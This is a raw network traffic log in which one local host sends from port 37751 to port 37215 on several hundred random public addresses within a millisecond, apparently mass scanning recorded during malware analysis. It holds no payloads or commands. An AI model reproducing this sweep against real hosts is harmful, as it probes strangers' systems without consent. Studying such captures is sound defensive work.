Jan 1, 2024 12:51:44.982760906 CET	37751	37215	192.168.2.13	156.142.179.74
Jan 1, 2024 12:51:44.982764006 CET	37751	37215	192.168.2.13	156.215.122.246
Jan 1, 2024 12:51:45.137583017 CET	37215	37751	45.39.175.236	192.168.2.13
Jan 1, 2024 12:51:45.144491911 CET	37215	37751	156.246.110.158	192.168.2.13
Jan 1, 2024 12:51:45.188560963 CET	37215	37751	181.234.10.186	192.168.2.13
Jan 1, 2024 12:51:45.209868908 CET	37215	37751	138.40.217.109	192.168.2.13
Jan 1, 2024 12:51:45.209927082 CET	37751	37215	192.168.2.13	138.40.217.109
Jan 1, 2024 12:51:45.237423897 CET	37215	37751	197.146.142.207	192.168.2.13
Jan 1, 2024 12:51:45.242830992 CET	37215	37751	197.147.64.213	192.168.2.13
Jan 1, 2024 12:51:45.254229069 CET	37215	37751	37.203.208.35	192.168.2.13
Jan 1, 2024 12:51:45.281303883 CET	37215	37751	181.127.232.231	192.168.2.13
Jan 1, 2024 12:51:45.288204908 CET	37215	37751	190.192.5.90	192.168.2.13
Jan 1, 2024 12:51:45.309817076 CET	37215	37751	222.175.184.222	192.168.2.13
Jan 1, 2024 12:51:45.359329939 CET	37215	37751	197.94.227.14	192.168.2.13
Jan 1, 2024 12:51:45.372950077 CET	37215	37751	197.96.213.128	192.168.2.13
Jan 1, 2024 12:51:45.382565022 CET	37215	37751	197.234.207.200	192.168.2.13
Jan 1, 2024 12:51:45.410072088 CET	37215	37751	122.112.212.110	192.168.2.13
Jan 1, 2024 12:51:45.436039925 CET	37215	37751	102.24.46.58	192.168.2.13
Jan 1, 2024 12:51:45.690828085 CET	37215	37751	196.86.87.60	192.168.2.13
Jan 1, 2024 12:51:45.983915091 CET	37751	37215	192.168.2.13	45.185.34.221
Jan 1, 2024 12:51:45.983917952 CET	37751	37215	192.168.2.13	41.82.174.103
Jan 1, 2024 12:51:45.983933926 CET	37751	37215	192.168.2.13	156.13.36.118
Jan 1, 2024 12:51:45.983935118 CET	37751	37215	192.168.2.13	197.40.33.121
Jan 1, 2024 12:51:45.983937025 CET	37751	37215	192.168.2.13	197.201.0.146
Jan 1, 2024 12:51:45.983937979 CET	37751	37215	192.168.2.13	197.27.61.97
Jan 1, 2024 12:51:45.983937979 CET	37751	37215	192.168.2.13	95.23.30.52
Jan 1, 2024 12:51:45.983952999 CET	37751	37215	192.168.2.13	121.159.190.20
Jan 1, 2024 12:51:45.983957052 CET	37751	37215	192.168.2.13	41.93.107.102
Jan 1, 2024 12:51:45.983958006 CET	37751	37215	192.168.2.13	157.252.122.154
Jan 1, 2024 12:51:45.983962059 CET	37751	37215	192.168.2.13	181.0.103.126
Jan 1, 2024 12:51:45.983968973 CET	37751	37215	192.168.2.13	156.104.161.209
Jan 1, 2024 12:51:45.983968973 CET	37751	37215	192.168.2.13	197.50.131.155
Jan 1, 2024 12:51:45.983978033 CET	37751	37215	192.168.2.13	156.15.200.250
Jan 1, 2024 12:51:45.983978033 CET	37751	37215	192.168.2.13	197.86.56.91
Jan 1, 2024 12:51:45.983983040 CET	37751	37215	192.168.2.13	186.97.223.252
Jan 1, 2024 12:51:45.983990908 CET	37751	37215	192.168.2.13	107.160.40.88
Jan 1, 2024 12:51:45.983999014 CET	37751	37215	192.168.2.13	41.208.251.201
Jan 1, 2024 12:51:45.984008074 CET	37751	37215	192.168.2.13	197.25.101.210
Jan 1, 2024 12:51:45.984009027 CET	37751	37215	192.168.2.13	156.202.170.108
Jan 1, 2024 12:51:45.984023094 CET	37751	37215	192.168.2.13	197.164.181.253
Jan 1, 2024 12:51:45.984023094 CET	37751	37215	192.168.2.13	157.50.168.226
Jan 1, 2024 12:51:45.984025955 CET	37751	37215	192.168.2.13	41.95.234.174
Jan 1, 2024 12:51:45.984025955 CET	37751	37215	192.168.2.13	121.103.204.219
Jan 1, 2024 12:51:45.984025955 CET	37751	37215	192.168.2.13	156.75.218.137
Jan 1, 2024 12:51:45.984025955 CET	37751	37215	192.168.2.13	41.58.197.245
Jan 1, 2024 12:51:45.984025955 CET	37751	37215	192.168.2.13	222.113.79.18
Jan 1, 2024 12:51:45.984030008 CET	37751	37215	192.168.2.13	197.53.155.187
Jan 1, 2024 12:51:45.984030008 CET	37751	37215	192.168.2.13	156.181.12.16
Jan 1, 2024 12:51:45.984030008 CET	37751	37215	192.168.2.13	181.205.57.59
Jan 1, 2024 12:51:45.984039068 CET	37751	37215	192.168.2.13	41.55.237.140
Jan 1, 2024 12:51:45.984039068 CET	37751	37215	192.168.2.13	197.52.13.127
Jan 1, 2024 12:51:45.984039068 CET	37751	37215	192.168.2.13	156.123.250.192
Jan 1, 2024 12:51:45.984044075 CET	37751	37215	192.168.2.13	41.236.119.237
Jan 1, 2024 12:51:45.984044075 CET	37751	37215	192.168.2.13	41.180.3.20
Jan 1, 2024 12:51:45.984044075 CET	37751	37215	192.168.2.13	156.61.48.53
Jan 1, 2024 12:51:45.984045982 CET	37751	37215	192.168.2.13	92.169.184.235
Jan 1, 2024 12:51:45.984045982 CET	37751	37215	192.168.2.13	92.14.163.153
Jan 1, 2024 12:51:45.984045982 CET	37751	37215	192.168.2.13	154.121.74.193
Jan 1, 2024 12:51:45.984045982 CET	37751	37215	192.168.2.13	156.205.119.158
Jan 1, 2024 12:51:45.984061956 CET	37751	37215	192.168.2.13	122.88.161.236
Jan 1, 2024 12:51:45.984069109 CET	37751	37215	192.168.2.13	156.209.174.47
Jan 1, 2024 12:51:45.984071970 CET	37751	37215	192.168.2.13	156.231.181.36
Jan 1, 2024 12:51:45.984076023 CET	37751	37215	192.168.2.13	156.123.187.251
Jan 1, 2024 12:51:45.984076023 CET	37751	37215	192.168.2.13	120.244.141.56
Jan 1, 2024 12:51:45.984081984 CET	37751	37215	192.168.2.13	92.226.187.20
Jan 1, 2024 12:51:45.984082937 CET	37751	37215	192.168.2.13	156.5.11.105
Jan 1, 2024 12:51:45.984085083 CET	37751	37215	192.168.2.13	37.98.227.1
Jan 1, 2024 12:51:45.984101057 CET	37751	37215	192.168.2.13	156.34.105.217
Jan 1, 2024 12:51:45.984101057 CET	37751	37215	192.168.2.13	41.236.251.38
Jan 1, 2024 12:51:45.984102011 CET	37751	37215	192.168.2.13	156.29.188.71
Jan 1, 2024 12:51:45.984102011 CET	37751	37215	192.168.2.13	41.117.66.39
Jan 1, 2024 12:51:45.984101057 CET	37751	37215	192.168.2.13	41.93.226.254
Jan 1, 2024 12:51:45.984102964 CET	37751	37215	192.168.2.13	41.238.162.124
Jan 1, 2024 12:51:45.984103918 CET	37751	37215	192.168.2.13	156.12.149.203
Jan 1, 2024 12:51:45.984101057 CET	37751	37215	192.168.2.13	197.81.209.171
Jan 1, 2024 12:51:45.984102011 CET	37751	37215	192.168.2.13	197.79.71.142
Jan 1, 2024 12:51:45.984102011 CET	37751	37215	192.168.2.13	41.111.143.204
Jan 1, 2024 12:51:45.984108925 CET	37751	37215	192.168.2.13	197.161.60.107
Jan 1, 2024 12:51:45.984108925 CET	37751	37215	192.168.2.13	41.123.235.201
Jan 1, 2024 12:51:45.984108925 CET	37751	37215	192.168.2.13	160.192.115.173
Jan 1, 2024 12:51:45.984112024 CET	37751	37215	192.168.2.13	156.147.35.53
Jan 1, 2024 12:51:45.984112024 CET	37751	37215	192.168.2.13	41.108.67.67
Jan 1, 2024 12:51:45.984113932 CET	37751	37215	192.168.2.13	41.146.30.104
Jan 1, 2024 12:51:45.984117985 CET	37751	37215	192.168.2.13	156.15.167.22
Jan 1, 2024 12:51:45.984117985 CET	37751	37215	192.168.2.13	222.158.198.65
Jan 1, 2024 12:51:45.984117985 CET	37751	37215	192.168.2.13	197.192.216.120
Jan 1, 2024 12:51:45.984122038 CET	37751	37215	192.168.2.13	41.222.153.248
Jan 1, 2024 12:51:45.984129906 CET	37751	37215	192.168.2.13	138.38.108.50
Jan 1, 2024 12:51:45.984133005 CET	37751	37215	192.168.2.13	196.57.232.195
Jan 1, 2024 12:51:45.984142065 CET	37751	37215	192.168.2.13	41.164.124.204
Jan 1, 2024 12:51:45.984142065 CET	37751	37215	192.168.2.13	197.36.138.23
Jan 1, 2024 12:51:45.984142065 CET	37751	37215	192.168.2.13	156.141.116.119
Jan 1, 2024 12:51:45.984142065 CET	37751	37215	192.168.2.13	41.22.132.224
Jan 1, 2024 12:51:45.984142065 CET	37751	37215	192.168.2.13	197.123.166.155
Jan 1, 2024 12:51:45.984143972 CET	37751	37215	192.168.2.13	45.26.138.13
Jan 1, 2024 12:51:45.984143972 CET	37751	37215	192.168.2.13	120.51.44.194
Jan 1, 2024 12:51:45.984155893 CET	37751	37215	192.168.2.13	197.112.201.225
Jan 1, 2024 12:51:45.984155893 CET	37751	37215	192.168.2.13	197.145.138.37
Jan 1, 2024 12:51:45.984160900 CET	37751	37215	192.168.2.13	197.158.70.238
Jan 1, 2024 12:51:45.984169006 CET	37751	37215	192.168.2.13	37.77.244.192
Jan 1, 2024 12:51:45.984170914 CET	37751	37215	192.168.2.13	41.74.144.239
Jan 1, 2024 12:51:45.984172106 CET	37751	37215	192.168.2.13	120.249.154.218
Jan 1, 2024 12:51:45.984172106 CET	37751	37215	192.168.2.13	197.224.234.95
Jan 1, 2024 12:51:45.984172106 CET	37751	37215	192.168.2.13	138.19.6.33
Jan 1, 2024 12:51:45.984179020 CET	37751	37215	192.168.2.13	41.11.99.251
Jan 1, 2024 12:51:45.984179974 CET	37751	37215	192.168.2.13	41.2.216.226
Jan 1, 2024 12:51:45.984181881 CET	37751	37215	192.168.2.13	41.56.40.185
Jan 1, 2024 12:51:45.984181881 CET	37751	37215	192.168.2.13	41.158.198.30
Jan 1, 2024 12:51:45.984195948 CET	37751	37215	192.168.2.13	160.16.39.80
Jan 1, 2024 12:51:45.984196901 CET	37751	37215	192.168.2.13	41.31.248.172
Jan 1, 2024 12:51:45.984196901 CET	37751	37215	192.168.2.13	41.193.27.12
Jan 1, 2024 12:51:45.984199047 CET	37751	37215	192.168.2.13	197.102.65.160
Jan 1, 2024 12:51:45.984206915 CET	37751	37215	192.168.2.13	94.92.103.241
Jan 1, 2024 12:51:45.984220982 CET	37751	37215	192.168.2.13	197.19.171.92
Jan 1, 2024 12:51:45.984227896 CET	37751	37215	192.168.2.13	156.37.19.158
Jan 1, 2024 12:51:45.984237909 CET	37751	37215	192.168.2.13	41.64.140.80
Jan 1, 2024 12:51:45.984244108 CET	37751	37215	192.168.2.13	41.152.152.218
Jan 1, 2024 12:51:45.984247923 CET	37751	37215	192.168.2.13	41.185.207.193
Jan 1, 2024 12:51:45.984251022 CET	37751	37215	192.168.2.13	197.26.148.78
Jan 1, 2024 12:51:45.984256983 CET	37751	37215	192.168.2.13	197.179.123.253
Jan 1, 2024 12:51:45.984256983 CET	37751	37215	192.168.2.13	41.192.138.17
Jan 1, 2024 12:51:45.984261036 CET	37751	37215	192.168.2.13	197.39.96.203
Jan 1, 2024 12:51:45.984261036 CET	37751	37215	192.168.2.13	156.159.161.239
Jan 1, 2024 12:51:45.984262943 CET	37751	37215	192.168.2.13	154.41.245.42
Jan 1, 2024 12:51:45.984266043 CET	37751	37215	192.168.2.13	160.0.103.217
Jan 1, 2024 12:51:45.984266996 CET	37751	37215	192.168.2.13	190.238.88.219
Jan 1, 2024 12:51:45.984275103 CET	37751	37215	192.168.2.13	120.155.96.100
Jan 1, 2024 12:51:45.984275103 CET	37751	37215	192.168.2.13	181.183.180.84
Jan 1, 2024 12:51:45.984277964 CET	37751	37215	192.168.2.13	45.184.125.68
Jan 1, 2024 12:51:45.984277964 CET	37751	37215	192.168.2.13	197.238.222.195
Jan 1, 2024 12:51:45.984282970 CET	37751	37215	192.168.2.13	156.104.195.45
Jan 1, 2024 12:51:45.984286070 CET	37751	37215	192.168.2.13	156.121.79.163
Jan 1, 2024 12:51:45.984286070 CET	37751	37215	192.168.2.13	41.235.220.177
Jan 1, 2024 12:51:45.984286070 CET	37751	37215	192.168.2.13	156.8.230.16
Jan 1, 2024 12:51:45.984286070 CET	37751	37215	192.168.2.13	41.237.97.214
Jan 1, 2024 12:51:45.984289885 CET	37751	37215	192.168.2.13	222.244.214.83
Jan 1, 2024 12:51:45.984289885 CET	37751	37215	192.168.2.13	120.19.165.214
Jan 1, 2024 12:51:45.984293938 CET	37751	37215	192.168.2.13	138.229.180.231
Jan 1, 2024 12:51:45.984289885 CET	37751	37215	192.168.2.13	120.135.236.99
Jan 1, 2024 12:51:45.984293938 CET	37751	37215	192.168.2.13	120.149.218.48
Jan 1, 2024 12:51:45.984301090 CET	37751	37215	192.168.2.13	181.219.179.210
Jan 1, 2024 12:51:45.984313965 CET	37751	37215	192.168.2.13	45.193.124.80
Jan 1, 2024 12:51:45.984313965 CET	37751	37215	192.168.2.13	196.51.174.122
Jan 1, 2024 12:51:45.984313965 CET	37751	37215	192.168.2.13	41.100.92.89
Jan 1, 2024 12:51:45.984318972 CET	37751	37215	192.168.2.13	156.204.221.54
Jan 1, 2024 12:51:45.984318972 CET	37751	37215	192.168.2.13	190.90.222.203
Jan 1, 2024 12:51:45.984318972 CET	37751	37215	192.168.2.13	41.60.227.129
Jan 1, 2024 12:51:45.984322071 CET	37751	37215	192.168.2.13	156.241.117.63
Jan 1, 2024 12:51:45.984322071 CET	37751	37215	192.168.2.13	41.11.67.228
Jan 1, 2024 12:51:45.984323978 CET	37751	37215	192.168.2.13	156.1.78.58
Jan 1, 2024 12:51:45.984324932 CET	37751	37215	192.168.2.13	190.17.75.230
Jan 1, 2024 12:51:45.984335899 CET	37751	37215	192.168.2.13	156.171.78.198
Jan 1, 2024 12:51:45.984337091 CET	37751	37215	192.168.2.13	41.11.66.58
Jan 1, 2024 12:51:45.984338999 CET	37751	37215	192.168.2.13	197.244.136.85
Jan 1, 2024 12:51:45.984338999 CET	37751	37215	192.168.2.13	186.205.91.111
Jan 1, 2024 12:51:45.984354019 CET	37751	37215	192.168.2.13	197.180.2.175
Jan 1, 2024 12:51:45.984354019 CET	37751	37215	192.168.2.13	41.41.206.154
Jan 1, 2024 12:51:45.984354973 CET	37751	37215	192.168.2.13	160.209.57.38
Jan 1, 2024 12:51:45.984357119 CET	37751	37215	192.168.2.13	197.227.177.100
Jan 1, 2024 12:51:45.984358072 CET	37751	37215	192.168.2.13	41.43.11.111
Jan 1, 2024 12:51:45.984358072 CET	37751	37215	192.168.2.13	156.206.213.198
Jan 1, 2024 12:51:45.984360933 CET	37751	37215	192.168.2.13	107.161.5.15
Jan 1, 2024 12:51:45.984371901 CET	37751	37215	192.168.2.13	41.185.250.172
Jan 1, 2024 12:51:45.984385014 CET	37751	37215	192.168.2.13	102.193.124.158
Jan 1, 2024 12:51:45.984385967 CET	37751	37215	192.168.2.13	196.231.220.10
Jan 1, 2024 12:51:45.984386921 CET	37751	37215	192.168.2.13	160.247.195.146
Jan 1, 2024 12:51:45.984386921 CET	37751	37215	192.168.2.13	197.203.44.168
Jan 1, 2024 12:51:45.984385967 CET	37751	37215	192.168.2.13	102.31.2.72
Jan 1, 2024 12:51:45.984394073 CET	37751	37215	192.168.2.13	197.86.216.50
Jan 1, 2024 12:51:45.984395981 CET	37751	37215	192.168.2.13	156.236.98.35
Jan 1, 2024 12:51:45.984411001 CET	37751	37215	192.168.2.13	197.88.121.109
Jan 1, 2024 12:51:45.984411001 CET	37751	37215	192.168.2.13	197.255.94.65
Jan 1, 2024 12:51:45.984411001 CET	37751	37215	192.168.2.13	160.56.239.199
Jan 1, 2024 12:51:45.984416962 CET	37751	37215	192.168.2.13	138.5.119.58
Jan 1, 2024 12:51:45.984416962 CET	37751	37215	192.168.2.13	41.218.175.106
Jan 1, 2024 12:51:45.984430075 CET	37751	37215	192.168.2.13	154.156.145.109
Jan 1, 2024 12:51:45.984430075 CET	37751	37215	192.168.2.13	41.77.85.240
Jan 1, 2024 12:51:45.984437943 CET	37751	37215	192.168.2.13	41.23.92.255
Jan 1, 2024 12:51:45.984437943 CET	37751	37215	192.168.2.13	197.133.21.174
Jan 1, 2024 12:51:45.984446049 CET	37751	37215	192.168.2.13	92.105.134.7
Jan 1, 2024 12:51:45.984446049 CET	37751	37215	192.168.2.13	107.195.38.191
Jan 1, 2024 12:51:45.984447002 CET	37751	37215	192.168.2.13	156.93.74.21
Jan 1, 2024 12:51:45.984457970 CET	37751	37215	192.168.2.13	156.143.208.189
Jan 1, 2024 12:51:45.984457970 CET	37751	37215	192.168.2.13	95.192.225.145
Jan 1, 2024 12:51:45.984458923 CET	37751	37215	192.168.2.13	197.25.190.65
Jan 1, 2024 12:51:45.984458923 CET	37751	37215	192.168.2.13	156.102.64.159
Jan 1, 2024 12:51:45.984458923 CET	37751	37215	192.168.2.13	121.177.117.21
Jan 1, 2024 12:51:45.984469891 CET	37751	37215	192.168.2.13	95.64.196.21
Jan 1, 2024 12:51:45.984469891 CET	37751	37215	192.168.2.13	41.239.48.110
Jan 1, 2024 12:51:45.984472036 CET	37751	37215	192.168.2.13	156.49.166.127
Jan 1, 2024 12:51:45.984493971 CET	37751	37215	192.168.2.13	41.107.45.83
Jan 1, 2024 12:51:45.984493971 CET	37751	37215	192.168.2.13	120.190.29.153
Jan 1, 2024 12:51:45.984496117 CET	37751	37215	192.168.2.13	156.157.23.22
Jan 1, 2024 12:51:45.984496117 CET	37751	37215	192.168.2.13	197.94.65.46
Jan 1, 2024 12:51:45.984496117 CET	37751	37215	192.168.2.13	41.202.156.220
Jan 1, 2024 12:51:45.984496117 CET	37751	37215	192.168.2.13	160.23.58.212
Jan 1, 2024 12:51:45.984497070 CET	37751	37215	192.168.2.13	156.17.82.81
Jan 1, 2024 12:51:45.984499931 CET	37751	37215	192.168.2.13	197.151.51.89
Jan 1, 2024 12:51:45.984499931 CET	37751	37215	192.168.2.13	41.16.45.51
Jan 1, 2024 12:51:45.984503984 CET	37751	37215	192.168.2.13	41.182.251.158
Jan 1, 2024 12:51:45.984504938 CET	37751	37215	192.168.2.13	156.225.186.233
Jan 1, 2024 12:51:45.984519005 CET	37751	37215	192.168.2.13	156.219.162.123
Jan 1, 2024 12:51:45.984520912 CET	37751	37215	192.168.2.13	197.10.84.161
Jan 1, 2024 12:51:45.984522104 CET	37751	37215	192.168.2.13	181.113.250.76
Jan 1, 2024 12:51:45.984522104 CET	37751	37215	192.168.2.13	41.119.168.40
Jan 1, 2024 12:51:45.984524012 CET	37751	37215	192.168.2.13	156.88.202.228
Jan 1, 2024 12:51:45.984524012 CET	37751	37215	192.168.2.13	197.0.67.163
Jan 1, 2024 12:51:45.984528065 CET	37751	37215	192.168.2.13	156.3.139.198
Jan 1, 2024 12:51:45.984528065 CET	37751	37215	192.168.2.13	41.161.250.184
Jan 1, 2024 12:51:45.984541893 CET	37751	37215	192.168.2.13	120.191.86.242
Jan 1, 2024 12:51:45.984543085 CET	37751	37215	192.168.2.13	197.239.134.219
Jan 1, 2024 12:51:45.984544039 CET	37751	37215	192.168.2.13	156.105.230.250
Jan 1, 2024 12:51:45.984548092 CET	37751	37215	192.168.2.13	181.230.44.219
Jan 1, 2024 12:51:45.984555960 CET	37751	37215	192.168.2.13	156.54.17.2
Jan 1, 2024 12:51:45.984558105 CET	37751	37215	192.168.2.13	157.103.239.178
Jan 1, 2024 12:51:45.984565973 CET	37751	37215	192.168.2.13	156.168.114.127
Jan 1, 2024 12:51:45.984570980 CET	37751	37215	192.168.2.13	197.187.52.114
Jan 1, 2024 12:51:45.984580040 CET	37751	37215	192.168.2.13	154.95.85.210
Jan 1, 2024 12:51:45.984580994 CET	37751	37215	192.168.2.13	156.176.240.23
Jan 1, 2024 12:51:45.984580994 CET	37751	37215	192.168.2.13	41.202.20.219
Jan 1, 2024 12:51:45.984580994 CET	37751	37215	192.168.2.13	156.190.229.202
Jan 1, 2024 12:51:45.984585047 CET	37751	37215	192.168.2.13	156.0.21.231
Jan 1, 2024 12:51:45.984585047 CET	37751	37215	192.168.2.13	197.134.70.190
Jan 1, 2024 12:51:45.984589100 CET	37751	37215	192.168.2.13	41.19.82.101
Jan 1, 2024 12:51:45.984589100 CET	37751	37215	192.168.2.13	122.82.244.54
Jan 1, 2024 12:51:45.984589100 CET	37751	37215	192.168.2.13	197.229.65.69
Jan 1, 2024 12:51:45.984596014 CET	37751	37215	192.168.2.13	41.83.86.137
Jan 1, 2024 12:51:45.984600067 CET	37751	37215	192.168.2.13	102.191.186.32
Jan 1, 2024 12:51:45.984601021 CET	37751	37215	192.168.2.13	197.2.144.223
Jan 1, 2024 12:51:45.984600067 CET	37751	37215	192.168.2.13	197.63.7.162
Jan 1, 2024 12:51:45.984605074 CET	37751	37215	192.168.2.13	102.196.205.163
Jan 1, 2024 12:51:45.984606028 CET	37751	37215	192.168.2.13	120.151.104.247
Jan 1, 2024 12:51:45.984605074 CET	37751	37215	192.168.2.13	121.176.38.248
Jan 1, 2024 12:51:45.984627008 CET	37751	37215	192.168.2.13	156.35.241.141
Jan 1, 2024 12:51:45.984632015 CET	37751	37215	192.168.2.13	156.120.29.3
Jan 1, 2024 12:51:45.984632015 CET	37751	37215	192.168.2.13	37.33.217.78
Jan 1, 2024 12:51:45.984632015 CET	37751	37215	192.168.2.13	197.207.121.101
Jan 1, 2024 12:51:45.984632015 CET	37751	37215	192.168.2.13	156.55.180.159
Jan 1, 2024 12:51:45.984637022 CET	37751	37215	192.168.2.13	41.50.108.118
Jan 1, 2024 12:51:45.984638929 CET	37751	37215	192.168.2.13	156.18.186.51
Jan 1, 2024 12:51:45.984646082 CET	37751	37215	192.168.2.13	122.163.48.128
Jan 1, 2024 12:51:45.984647989 CET	37751	37215	192.168.2.13	156.215.88.33
Jan 1, 2024 12:51:45.984647989 CET	37751	37215	192.168.2.13	156.178.182.135
Jan 1, 2024 12:51:45.984647989 CET	37751	37215	192.168.2.13	197.117.122.53
Jan 1, 2024 12:51:45.984652042 CET	37751	37215	192.168.2.13	190.236.127.46
Jan 1, 2024 12:51:45.984656096 CET	37751	37215	192.168.2.13	186.222.191.75
Jan 1, 2024 12:51:45.984659910 CET	37751	37215	192.168.2.13	190.160.111.192
Jan 1, 2024 12:51:45.984659910 CET	37751	37215	192.168.2.13	156.92.71.122
Jan 1, 2024 12:51:45.984661102 CET	37751	37215	192.168.2.13	197.6.147.120
Jan 1, 2024 12:51:45.984662056 CET	37751	37215	192.168.2.13	107.253.244.124
Jan 1, 2024 12:51:45.984662056 CET	37751	37215	192.168.2.13	156.85.89.211
Jan 1, 2024 12:51:45.984663963 CET	37751	37215	192.168.2.13	156.17.175.81
Jan 1, 2024 12:51:45.984668970 CET	37751	37215	192.168.2.13	156.233.32.222
Jan 1, 2024 12:51:45.984668970 CET	37751	37215	192.168.2.13	102.230.13.120
Jan 1, 2024 12:51:45.984668970 CET	37751	37215	192.168.2.13	197.83.123.2
Jan 1, 2024 12:51:45.984685898 CET	37751	37215	192.168.2.13	41.41.30.229
Jan 1, 2024 12:51:45.984685898 CET	37751	37215	192.168.2.13	156.150.234.137
Jan 1, 2024 12:51:45.984695911 CET	37751	37215	192.168.2.13	190.144.217.0
Jan 1, 2024 12:51:45.984699011 CET	37751	37215	192.168.2.13	37.77.38.208
Jan 1, 2024 12:51:45.984700918 CET	37751	37215	192.168.2.13	45.230.27.147
Jan 1, 2024 12:51:45.984709024 CET	37751	37215	192.168.2.13	41.158.63.144
Jan 1, 2024 12:51:45.984709024 CET	37751	37215	192.168.2.13	41.47.3.16
Jan 1, 2024 12:51:45.984723091 CET	37751	37215	192.168.2.13	196.22.219.57
Jan 1, 2024 12:51:45.984723091 CET	37751	37215	192.168.2.13	222.45.88.118
Jan 1, 2024 12:51:45.984723091 CET	37751	37215	192.168.2.13	121.127.3.14
Jan 1, 2024 12:51:45.984735966 CET	37751	37215	192.168.2.13	138.91.117.19
Jan 1, 2024 12:51:45.984735966 CET	37751	37215	192.168.2.13	41.246.52.88
Jan 1, 2024 12:51:45.984741926 CET	37751	37215	192.168.2.13	45.180.236.36
Jan 1, 2024 12:51:45.984741926 CET	37751	37215	192.168.2.13	156.35.167.207
Jan 1, 2024 12:51:45.984752893 CET	37751	37215	192.168.2.13	94.118.201.237
Jan 1, 2024 12:51:45.984760046 CET	37751	37215	192.168.2.13	138.43.89.240
Jan 1, 2024 12:51:45.984761953 CET	37751	37215	192.168.2.13	197.3.43.126
Jan 1, 2024 12:51:45.984764099 CET	37751	37215	192.168.2.13	197.180.147.243
Jan 1, 2024 12:51:45.984772921 CET	37751	37215	192.168.2.13	197.88.86.136
Jan 1, 2024 12:51:45.984772921 CET	37751	37215	192.168.2.13	197.80.14.54
Jan 1, 2024 12:51:45.984780073 CET	37751	37215	192.168.2.13	156.120.118.168
Jan 1, 2024 12:51:45.984790087 CET	37751	37215	192.168.2.13	154.119.182.58
Jan 1, 2024 12:51:45.984796047 CET	37751	37215	192.168.2.13	197.18.9.23
Jan 1, 2024 12:51:45.984797001 CET	37751	37215	192.168.2.13	41.39.210.224
Jan 1, 2024 12:51:45.984797955 CET	37751	37215	192.168.2.13	190.13.209.154
Jan 1, 2024 12:51:45.984797955 CET	37751	37215	192.168.2.13	95.252.61.73
Jan 1, 2024 12:51:45.984812975 CET	37751	37215	192.168.2.13	41.151.114.27
Jan 1, 2024 12:51:45.984812975 CET	37751	37215	192.168.2.13	156.211.72.152
Jan 1, 2024 12:51:45.984812975 CET	37751	37215	192.168.2.13	45.6.26.48
Jan 1, 2024 12:51:45.984829903 CET	37751	37215	192.168.2.13	197.218.125.188
Jan 1, 2024 12:51:45.984831095 CET	37751	37215	192.168.2.13	156.71.144.54
Jan 1, 2024 12:51:45.984844923 CET	37751	37215	192.168.2.13	156.72.204.86
Jan 1, 2024 12:51:45.984844923 CET	37751	37215	192.168.2.13	94.108.215.48
Jan 1, 2024 12:51:45.984846115 CET	37751	37215	192.168.2.13	156.157.18.2
Jan 1, 2024 12:51:45.984847069 CET	37751	37215	192.168.2.13	181.238.29.108
Jan 1, 2024 12:51:45.984848022 CET	37751	37215	192.168.2.13	107.179.253.187
Jan 1, 2024 12:51:45.984848022 CET	37751	37215	192.168.2.13	197.105.9.213
Jan 1, 2024 12:51:45.984850883 CET	37751	37215	192.168.2.13	197.158.102.125
Jan 1, 2024 12:51:45.984853983 CET	37751	37215	192.168.2.13	197.112.102.66
Jan 1, 2024 12:51:45.984859943 CET	37751	37215	192.168.2.13	196.220.185.242
Jan 1, 2024 12:51:45.984864950 CET	37751	37215	192.168.2.13	41.101.69.137
Jan 1, 2024 12:51:45.984864950 CET	37751	37215	192.168.2.13	156.244.126.185
Jan 1, 2024 12:51:45.984869957 CET	37751	37215	192.168.2.13	197.95.104.163
Jan 1, 2024 12:51:45.984869957 CET	37751	37215	192.168.2.13	190.193.203.102
Jan 1, 2024 12:51:45.984869957 CET	37751	37215	192.168.2.13	160.196.49.195
Jan 1, 2024 12:51:45.984874964 CET	37751	37215	192.168.2.13	197.215.33.106
Jan 1, 2024 12:51:45.984882116 CET	37751	37215	192.168.2.13	107.237.101.72
Jan 1, 2024 12:51:45.984900951 CET	37751	37215	192.168.2.13	156.40.252.76
Jan 1, 2024 12:51:45.984901905 CET	37751	37215	192.168.2.13	92.4.240.207
Jan 1, 2024 12:51:45.984900951 CET	37751	37215	192.168.2.13	222.119.89.160
Jan 1, 2024 12:51:45.984905958 CET	37751	37215	192.168.2.13	107.150.29.79
Jan 1, 2024 12:51:45.984905958 CET	37751	37215	192.168.2.13	156.53.13.80
Jan 1, 2024 12:51:45.984910011 CET	37751	37215	192.168.2.13	196.75.248.96
Jan 1, 2024 12:51:45.984910011 CET	37751	37215	192.168.2.13	156.122.34.132
Jan 1, 2024 12:51:45.984910011 CET	37751	37215	192.168.2.13	41.134.172.231
Jan 1, 2024 12:51:45.984925032 CET	37751	37215	192.168.2.13	41.181.172.66
Jan 1, 2024 12:51:45.984925032 CET	37751	37215	192.168.2.13	160.57.8.186
Jan 1, 2024 12:51:45.984934092 CET	37751	37215	192.168.2.13	41.102.198.247
Jan 1, 2024 12:51:45.984944105 CET	37751	37215	192.168.2.13	41.71.234.186
Jan 1, 2024 12:51:45.984951019 CET	37751	37215	192.168.2.13	41.234.57.70
Jan 1, 2024 12:51:45.984952927 CET	37751	37215	192.168.2.13	122.151.139.108
Jan 1, 2024 12:51:45.984955072 CET	37751	37215	192.168.2.13	120.232.155.105
Jan 1, 2024 12:51:45.984955072 CET	37751	37215	192.168.2.13	94.194.138.161
Jan 1, 2024 12:51:45.984956026 CET	37751	37215	192.168.2.13	197.86.244.109
Jan 1, 2024 12:51:45.984957933 CET	37751	37215	192.168.2.13	190.121.250.142
Jan 1, 2024 12:51:45.984957933 CET	37751	37215	192.168.2.13	95.13.253.152
Jan 1, 2024 12:51:45.984957933 CET	37751	37215	192.168.2.13	156.18.36.47
Jan 1, 2024 12:51:45.984957933 CET	37751	37215	192.168.2.13	41.91.255.250
Jan 1, 2024 12:51:45.984957933 CET	37751	37215	192.168.2.13	197.46.83.248
Jan 1, 2024 12:51:45.984957933 CET	37751	37215	192.168.2.13	157.92.140.244
Jan 1, 2024 12:51:45.984963894 CET	37751	37215	192.168.2.13	197.95.17.94
Jan 1, 2024 12:51:45.984967947 CET	37751	37215	192.168.2.13	95.253.210.193
Jan 1, 2024 12:51:45.984967947 CET	37751	37215	192.168.2.13	156.36.113.75
Jan 1, 2024 12:51:45.984970093 CET	37751	37215	192.168.2.13	41.192.197.165
Jan 1, 2024 12:51:45.984970093 CET	37751	37215	192.168.2.13	156.206.112.142
Jan 1, 2024 12:51:45.984971046 CET	37751	37215	192.168.2.13	156.7.128.143
Jan 1, 2024 12:51:45.984983921 CET	37751	37215	192.168.2.13	197.227.180.63
Jan 1, 2024 12:51:45.984983921 CET	37751	37215	192.168.2.13	41.151.32.133
